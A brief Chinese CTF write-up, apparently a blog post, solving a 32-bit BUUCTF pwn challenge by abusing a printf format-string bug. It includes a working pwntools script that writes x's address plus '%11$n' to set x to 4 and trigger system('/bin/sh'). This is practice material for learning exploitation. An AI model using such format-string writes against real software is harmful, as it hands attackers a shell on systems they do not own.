首先还是查看文件保护:
拖进32位ida查看:
一眼就看到system('/bin/sh'),而条件则是x==4,所以我们的目的就是让x的值变成4.
程序里面printf一眼就可以知道这题应该是利用字符串格式化漏洞。
所以我们先需要知道输入的buf所在的位置,通过如图方式泄露可以知道aaaa的位置是在第十一位。
然后我们需要查看x的地址:
这样将x的地址写入再利用%?$n把?处地址上的数据改写。
pythonfrom pwn import*
io = remote('node4.buuoj.cn',28081)
x_addr = 0x0804A02C
payload =p32(x_addr)+b'%11$n'
io.send(payload)
io.interactive()
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!